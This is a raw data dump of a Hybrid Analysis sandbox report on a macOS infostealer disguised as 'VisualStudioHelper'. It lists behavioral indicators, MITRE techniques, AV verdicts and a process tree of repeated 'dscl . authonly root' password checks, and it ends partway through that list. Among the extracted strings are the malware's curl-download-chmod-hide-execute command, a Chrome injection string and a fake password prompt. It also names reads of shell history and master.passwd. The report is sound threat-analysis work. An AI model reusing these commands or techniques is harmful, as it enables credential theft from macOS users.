26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 2d:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T49c,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan/OSX.Agent Sample adde2970b406… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample adde2970b406…. Malware family: Trojan/OSX.Agent. Threat score 100/100. 11/24 AV engines flagged this file. 3 malicious and 4 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef","keywords":["Malicious","Trojan/OSX.Agent","malware analysis","sandbox report","threat intelligence","adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef"],"about":{"@type":"SoftwareApplication","name":"VisualStudioHelper","applicationCategory":["macho","64bits","executable"],"identifier":"adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan/OSX.Agent","antivirusDetections":{"malicious":11,"total":24},"behavioralIndicators":{"malicious":3,"suspicious":4},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T7af,Found string "/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation" (File: "adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef") Found string "/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration" (File: "adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef") Found string "/System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration" (File: "adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef") Found string "/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit" (File: "adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef") Found string "/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation" (File: "adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef") Found string "/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit" (File: "adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef") Found string "/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore" (File: "adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef") Found string "/System/Library/Frameworks/CoreData.framework/Versions/A/CoreData" (File: "adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef") Found string "/System/Library/Frameworks/CoreImage.framework/Versions/A/CoreImage" (File: "adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef") Found string "/usr/lib/libobjc.A.dylib" (File: "adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef") Found string "/System/Library/Frameworks/Security.framework/Versions/A/Security" (File: "adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef") Found string "/usr/lib/libiconv.2.dylib" (File: "adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef") Found string "/usr/lib/libSystem.B.dylib" (File: "adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef")28:T5dc,file/memory contains long string with "; Source: "00000000-1030.00000000.6993CE18.104D28000.00000005.mdmp 00000000-1030.00000000.76CAAAF8.104D28000.00000005.mdmp"), Found string "Upload error: files/Applications/Google Chrome.app/Contents/MacOS/Google Chrome$USERcom.apple.inj_update_agent.inj_launch_chr' --disable-gpu-sandbox --headless --gpu-launcher="/bin/zsh -c ` --inject-launch`"No chrome installed --inject-rc`"X"; Source: "00000000-1030.00000000.6993CE18.104D28000.00000005.mdmp, 00000000-1030.00000000.76CAAAF8.104D28000.00000005.mdmp") Found string "L>alsedictBangtitleadding dir ...\" (Source: \"00000000-1030.00000000.6993CE18.104D28000.00000005.mdmp, 00000000-1030.00000000.76CAAAF8.104D28000.00000005.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.001","relevance":1,"id":"string-10016","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"informative","category":"Installation/Persistence","name":"Able to access launchctl (possible persistence)","description":"Found string \"stringkeyintegerPLIST-DATEPLIST-UID]]-->titleadding dir ...\" (Source: \"00000000-1030.00000000.6993CE18.104D28000.00000005.mdmp, 00000000-1030.00000000.76CAAAF8.104D28000.00000005.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.001","relevance":1,"id":"string-10013","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"informative","category":"Network Related","name":"Able to download payload","description":"Found string \"/usr/lib/libcurl.4.dylib\" (Indicator: \"curl\"; Source: \"510347520-1030-A976A46B8F5CC5F0B8BF10B46796CCB3-75362304\")\n Found string \"/System/Volumes/Preboot/Cryptexes/OS/usr/lib/libcurl.4.dylib\" (Indicator: \"curl\"; Source: \"510347520-1030-A976A46B8F5CC5F0B8BF10B46796CCB3-75368192\")\n file/memory contains long string with (Indicator: \"curl\"; Source: \"00000000-1030.00000000.6993CE18.104D28000.00000005.mdmp, 00000000-1030.00000000.76CAAAF8.104D28000.00000005.mdmp\")\n Found string \"cd /Users/$USER/.config && curl -O -s https://site.com/zsh && chmod +x zsh && chflags hidden zsh && ./zsh\" (Indicator: \"curl\"; Source: \"00000000-1030.00000010.6993CE18.105720000.00000003.mdmp, 00000000-1030.00000010.76CAAAF8.105720000.00000003.mdmp, 00000000-1030.00000013.6993CE18.9ACC00000.00000003.mdmp, 00000000-1030.00000013.76CAAAF8.9ACC00000.00000003.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":3,"id":"string-10039","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"/usr/lib/libpcap.A.dylib\" (Indicator: \"libpcap\"; Source: \"510347520-1030-A976A46B8F5CC5F0B8BF10B46796CCB3-71672832\")\n Found reference to API \"/System/Volumes/Preboot/Cryptexes/OS/usr/lib/libpcap.A.dylib\" (Indicator: \"libpcap\"; Source: \"510347520-1030-A976A46B8F5CC5F0B8BF10B46796CCB3-71677184\")\n Found reference to API \"_setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-1030.00000003.76CAAAF8.104F98000.00000001.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"Found string \"'--Content-Disposition: form-data; name=\"\"name*=utf-8''; filename=\"\\\\\\\"\\\"; Source: \"00000000-1030.00000000.6993CE18.104D28000.00000005.mdmp, 00000000-1030.00000000.76CAAAF8.104D28000.00000005.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$2a","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"informative","category":"Network Related","name":"Found strings related to cURL execution","description":"Found string \"/usr/lib/libcurl.4.dylib\" (Source: \"510347520-1030-A976A46B8F5CC5F0B8BF10B46796CCB3-75362304\")\n Found string \"/System/Volumes/Preboot/Cryptexes/OS/usr/lib/libcurl.4.dylib\" (Source: \"510347520-1030-A976A46B8F5CC5F0B8BF10B46796CCB3-75368192\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-10027","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"informative","category":"Network Related","name":"Uses cURL to communicate over HTTPS","description":"Found string \"/usr/lib/libcurl.4.dylib\" (Indicator: \"libcurl\"; Source: \"510347520-1030-A976A46B8F5CC5F0B8BF10B46796CCB3-75362304\")\n Found string \"/System/Volumes/Preboot/Cryptexes/OS/usr/lib/libcurl.4.dylib\" (Indicator: \"libcurl\"; Source: \"510347520-1030-A976A46B8F5CC5F0B8BF10B46796CCB3-75368192\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-722","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access Bash command history","description":"file/memory contains long string(Source: \"00000000-1030.00000000.6993CE18.104D28000.00000005.mdmp, 00000000-1030.00000000.76CAAAF8.104D28000.00000005.mdmp\")\n Found string \".bash_history\" (Source: \"00000000-1030.00000010.6993CE18.105720000.00000003.mdmp, 00000000-1030.00000010.76CAAAF8.105720000.00000003.mdmp, 00000000-1030.00000014.6993CE18.9AD000000.00000003.mdmp, 00000000-1030.00000014.76CAAAF8.9AD000000.00000003.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1552.003","relevance":1,"id":"string-10047","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access zsh history file","description":"file/memory contains long string(Source: \"00000000-1030.00000000.6993CE18.104D28000.00000005.mdmp, 00000000-1030.00000000.76CAAAF8.104D28000.00000005.mdmp\")\n Found string \".zsh_history\" (Source: \"00000000-1030.00000010.6993CE18.105720000.00000003.mdmp, 00000000-1030.00000010.76CAAAF8.105720000.00000003.mdmp, 00000000-1030.00000014.6993CE18.9AD000000.00000003.mdmp, 00000000-1030.00000014.76CAAAF8.9AD000000.00000003.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.003","relevance":3,"id":"string-10064","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to prompt user for credentials (possible credential stealer)","description":"Found string \"-array-addkillall\" default answer \"\" with icon POSIX file \"\" buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"\" with hidden answersqltxtrtfdocxlspngpdfpemascppkrdpzip\" (Source: \"00000000-1030.00000000.6993CE18.104D28000.00000005.mdmp\n 00000000-1030.00000000.76CAAAF8.104D28000.00000005.mdmp\"), file/memory contains long string(Source: \"00000000-1030.00000010.6993CE18.105720000.00000003.mdmp\n 00000000-1030.00000010.76CAAAF8.105720000.00000003.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.002","relevance":3,"id":"string-10012","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"file/memory contains long string with (Indicator: \"aes\"; Source: \"00000000-1030.00000000.6993CE18.104D28000.00000005.mdmp, 00000000-1030.00000000.76CAAAF8.104D28000.00000005.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"informative","category":"System Security","name":"Able to modify file privileges","description":"Found string \"cd /Users/$USER/.config && curl -O -s https://site.com/zsh && chmod +x zsh && chflags hidden zsh && ./zsh\" (Source: \"00000000-1030.00000010.6993CE18.105720000.00000003.mdmp, 00000000-1030.00000010.76CAAAF8.105720000.00000003.mdmp, 00000000-1030.00000013.6993CE18.9ACC00000.00000003.mdmp, 00000000-1030.00000013.76CAAAF8.9ACC00000.00000003.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548.001","relevance":3,"id":"string-10079","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"10/23 Antivirus vendors marked sample as malicious (43% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Launches directory service with authonly parameter to verify login password","description":"$2c","origin":"Monitored Target","mitre_attack_id":"T1087","relevance":5,"id":"target-10012","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Reads macOS hashed password database","description":"Found string \"/private/etc/master.passwd\" (Indicator: \"/etc/master.passwd\"; Source: \"22694656-1325-CF2E758564DA96BB030EF47BDD6AFFC5-562607872\")\n Found string \"/etc/master.passwd\" (Indicator: \"/etc/master.passwd\"; Source: \"510347520-1030-3CE9C902C91989E679E14BB2EAF9B4BD-95815936\")","origin":"File/Memory","mitre_attack_id":"T1552.001","relevance":1,"id":"string-9010","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]}],"incidents":[{"name":"Evasive","details_count":1,"details":[{"detail":"The input sample contains a known anti-VM trick"}],"sources":[{"report_type":"sandbox","report_id":"68aa0d62220c154685014547"},{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]}],"intel_graph":{"map":{"File:a5b7ddd12539ce3e8c08bed5855ddcea3217d41d7d4c58fcc1a7e01336b38912":{"type":"File","value":"a5b7ddd12539ce3e8c08bed5855ddcea3217d41d7d4c58fcc1a7e01336b38912","verdict":{"verdict":"malicious","verdict_source":"ClamAV Antivirus","reasons":["File reported as malware by ClamAV antivirus"]}},"File:adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef":{"type":"File","value":"adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef","verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["File reported as malware by ClamAV antivirus","confirmed malicious file","confirmed relationship with a Threat LockIn"]},"filetype":"Mach-O universal binary with 2 architectures: [x86_64:\\012- Mach-O 64-bit x86_64 executable, flags:] [\\012- arm64:\\012- Mach-O 64-bit arm64 executable, flags:]","filetype_short":"MACHO","mime_type":"application/x-mach-o"},"Threat:9224aa81590d71076031dd143899791e6d96d2604afc8f606c9bae9180e24913":{"type":"Threat","value":"LockIn","verdict":{"verdict":"malicious","verdict_source":"indicator database"}}},"chains":[{"id":"1552920108526103644","root":"File:a5b7ddd12539ce3e8c08bed5855ddcea3217d41d7d4c58fcc1a7e01336b38912","edges":[],"verdict":{"verdict":"malicious","verdict_source":"ClamAV Antivirus","reasons":["File reported as malware by ClamAV antivirus"]}},{"id":"1552920104970344450","root":"File:adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef","edges":[],"verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["File reported as malware by ClamAV antivirus","confirmed malicious file","confirmed relationship with a Threat LockIn"]}},{"id":"1552920100169554308","root":"File:adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef","edges":[{"edge_kind":"is_threat","from_key":"File:adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef","to_key":"Threat:9224aa81590d71076031dd143899791e6d96d2604afc8f606c9bae9180e24913"}],"verdict":{"verdict":"malicious","verdict_source":"indicator database"}}]}},"activity":{"stats":{"process_count":96,"spawned_processes_count":96,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":0,"imported_dlls_count":0,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":97,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["lockin","backdoor","targeted","informationstealer","downloader","infostealer","multiverze"],"sample_flags":["Multi-Process"],"sandbox_reports":[{"id":"6ab60b88ba2f940eed0b1a13","environment_id":430,"environment_description":"macOS Tahoe (ARM64)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Generic.MAC.Stealer.L.459C5635;Generic.MAC.Stealer.L","submit_name":"VisualStudioHelper","analysis_start_time":"2026-09-25T05:51:21+00:00","indicators_count":{"informative":44,"suspicious":5,"malicious":2},"tags":["Multi-Process"],"is_in_unified_schema":true},{"id":"68aa0d62220c154685014547","environment_id":400,"environment_description":"Mac Catalina 64 bit (x86)","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef","analysis_start_time":"2025-08-23T18:58:22+00:00","indicators_count":{"informative":18,"suspicious":1,"malicious":2},"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}],"processes":[{"pid":1030,"ppid":0,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","uid":"510347520-1030"},{"pid":1400,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"2224128-1400"},{"pid":1075,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"13249536-1075"},{"pid":1325,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"22694656-1325"},{"pid":1355,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"24524032-1355"},{"pid":1166,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"26788608-1166"},{"pid":1280,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"27796992-1280"},{"pid":1249,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"29518592-1249"},{"pid":1387,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"32442880-1387"},{"pid":1431,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"49221120-1431"},{"pid":1236,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"55128576-1236"},{"pid":1156,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"61945856-1156"},{"pid":1111,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"62953984-1111"},{"pid":1036,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"97195520-1036"},{"pid":1225,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"131668992-1225"},{"pid":1311,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"138692352-1311"},{"pid":1301,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"147332864-1301"},{"pid":1267,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"151654144-1267"},{"pid":1419,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"151934720-1419"},{"pid":1212,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"156709888-1212"},{"pid":1376,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"156876800-1376"},{"pid":1142,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"168576256-1142"},{"pid":1093,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"169582336-1093"},{"pid":1342,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"171015936-1342"},{"pid":1047,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"208194304-1047"},{"pid":1132,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"216908544-1132"},{"pid":1407,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"226662400-1407"},{"pid":1201,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"228218368-1201"},{"pid":1188,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"244805120-1188"},{"pid":1082,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"249337344-1082"},{"pid":1332,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"282213632-1332"},{"pid":1256,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"286442496-1256"},{"pid":1363,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"294707200-1363"},{"pid":1069,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"310520320-1069"},{"pid":1287,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"316432128-1287"},{"pid":1397,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"316949504-1397"},{"pid":1243,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"346854656-1243"},{"pid":1163,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"352878336-1163"},{"pid":1118,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"356401152-1118"},{"pid":1277,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"363743744-1277"},{"pid":1176,"ppid":1030,"name":"dscl","command_line":"dscl . authonly 